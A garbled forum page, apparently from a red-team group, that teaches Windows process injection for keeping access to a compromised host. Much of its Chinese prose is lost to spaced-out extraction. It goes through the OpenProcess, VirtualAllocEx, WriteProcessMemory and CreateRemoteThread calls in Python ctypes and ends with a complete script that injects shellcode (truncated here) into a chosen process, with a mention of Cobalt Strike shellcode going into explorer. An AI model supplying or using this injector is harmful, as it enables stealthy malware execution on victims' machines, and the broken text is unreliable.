[17995] 2021-04-29_维持访问-代码注入分析

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-04-29_维持访问-代码注入分析 访 -   X G   X G   2 0 2 1 - 0 4 - 2 9   #   , 1 6 X G 线 线 p y 2 . 7 使 c t y p e s 线 s h e l l c o d e A P I O p e n P r o c e s s V i r t u a l A l l o c E X 访 W r i t e P r o c e s s M e m o r y C r e a t e R e m o t e T h r e a d 线 线 O p e n P r o c e s s O p e n P r o c e s s h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / p r o c e s s t h r e a d s a p i / n f - p r o c e s s t h r e a d s a p i - o p e n p r o c e s s H A N D L E   O p e n P r o c e s s (     D W O R D   d w D e s i r e d A c c e s s ,     B O O L     b I n h e r i t H a n d l e ,     D W O R D   d w P r o c e s s I d ) ;
N u l l 使 P R O C E S S A L L A C C E S S h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / p r o c t h r e a d / p r o c e s s - s e c u r i t y - a n d - a c c e s s - r i g h t s P R O C E S S _ A L L _ A C C E S S   =   ( S T A N D A R D _ R I G H T S _ R E Q U I R E D   |   S Y N C H R O N I Z E   |   0 x F F F )
线 F a l s e P I D t a s k l i s t p i d V i r t u a l A l l o c E x V i r t u a l A l l o c E x s h e l l c o d e P R O C E S S _ A L L _ A C C E S S   =   ( 0 x 0 0 0 F 0 0 0 0   |   0 x 0 0 1 0 0 0 0 0   |   0 x F F F ) h _ p r o c e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S , F a l s e , p i d ) h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - v i r t u a l a l l o c e x L P V O I D   V i r t u a l A l l o c E x (     H A N D L E   h P r o c e s s ,     L P V O I D   l p A d d r e s s ,     S I Z E _ T   d w S i z e ,     D W O R D     f l A l l o c a t i o n T y p e ,     D W O R D     f l P r o t e c t ) ;
n u l l h _ p r o c e s s V i r t u a l A l l o c s h e l l c o d e W r i t e P r o c e s s M e m o r y W r i t e P r o c e s s M e m o r y a r g _ a d d r e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c E x ( h _ p r o c e s s , 0 , l e n ( s h e l l c o d e ) , 0 x 3 0 0 0 , 0 x 4 0 ) h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - w r i t e p r o c e s s m e m o r y B O O L   W r i t e P r o c e s s M e m o r y (     H A N D L E     h P r o c e s s ,     L P V O I D     l p B a s e A d d r e s s ,     L P C V O I D   l p B u f f e r ,     S I Z E _ T     n S i z e ,     S I Z E _ T     * l p N u m b e r O f B y t e s W r i t t e n ) ;
0 h _ p r o c e s s a r g a d d r e s s s h e l l c o d e s h e l l c o d e C r e a t e R e m o t e T h r e a d C r e a t e R e m o t e T h r e a d 线 线 线 s h e l l c o d e   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e ) c t y p e s . w i n d l l . k e r n e l 3 2 . W r i t e P r o c e s s M e m o r y ( h _ p r o c e s s , a r g _ a d d r e s s , s h e l l c o d e , l e n ( s h e l l c o d e ) , 0 ) h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / p r o c e s s t h r e a d s a p i / n f - p r o c e s s t h r e a d s a p i - c r e a t e r e m o t e t h r e a d H A N D L E   C r e a t e R e m o t e T h r e a d (     H A N D L E                                   h P r o c e s s ,     L P S E C U R I T Y _ A T T R I B U T E S     l p T h r e a d A t t r i b u t e s ,     S I Z E _ T                                   d w S t a c k S i z e ,     L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,     L P V O I D                                   l p P a r a m e t e r ,     D W O R D                                     d w C r e a t i o n F l a g s ,     L P D W O R D                                 l p T h r e a d I d ) ;
线 c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e R e m o t e T h r e a d ( h _ p r o c e s s , N o n e , 0 , a r g _ a d d r e s s , N o n e , 0 , 0 )
h _ p r o c e s s 线   线 使 a r g _ a d d r e s s 线 N o n e 线 N u l l 线 C l o s e H a n d l e 使 O p e n P r o c e s s 线 线 线 使 C S 6 4 p y _ s h e l l c o d e e x p l o r e r p i d 2 4 0 0 B O O L   C l o s e H a n d l e (     H A N D L E   h O b j e c t ) ; c t y p e s . w i n d l l . k e r n e l 3 2 . C l o s e H a n d l e ( h _ p r o c e s s ) #   c o d e _ i n j e c t . p y #   p y t h o n 2   c o d e _ i n j e c t . p y   p i d i m p o r t   c t y p e s f r o m   c t y p e s . w i n t y p e s   i m p o r t   * i m p o r t   s y s d e f   i n j e c t ( p i d ) :         s h e l l c o d e   =   b " x f c x 4 8 x 8 3 x e 4 . . . "         P R O C E S S _ A L L _ A C C E S S   =   ( 0 x 0 0 0 F 0 0 0 0   |   0 x 0 0 1 0 0 0 0 0   |   0 x F F F )         h _ p r o c e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F a l s e ,   p i d )         i f   h _ p r o c e s s :                 s h e l l c o d e   =   b y t e a r r a y ( s h e l l c o d e )                 a r g _ a d d r e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c E x ( h _ p r o c e s s , 0 , l e n ( s h e l l c o d e ) , 0 x 3 0 0 0 , 0 x 4 0 )                 s h e l l c o d e   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e )                 c t y p e s . w i n d l l . k e r n e l 3 2 . W r i t e P r o c e s s M e m o r y ( h _ p r o c e s s ,   a r g _ a d d r e s s ,   s h e l l c o d e , l e n ( s h e l l c o d e ) ,   0 )                 i f   n o t   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e R e m o t e T h r e a d ( h _ p r o c e s s , N o n e , 0 , a r g _ a d d r e s s , N o n e , 0 , c t y p e s . b y r e f ( c t y p e s . c _ u l o n g ( 0 ) ) ) :                         p r i n t ( " c r e a t e   t h r e a d   f a l s e " )                         s y s . e x i t ( )         e l s e :                 p r i n t ( " o p e n   t h e   p r o c e s s   f a l s e " )
线 线 线                 p r i n t ( " o p e n   t h e   p r o c e s s   f a l s e " )                 s y s . e x i t ( )                     c t y p e s . w i n d l l . k e r n e l 3 2 . C l o s e H a n d l e ( h _ p r o c e s s )   i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i n j e c t ( i n t ( s y s . a r g v [ 1 ] ) )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则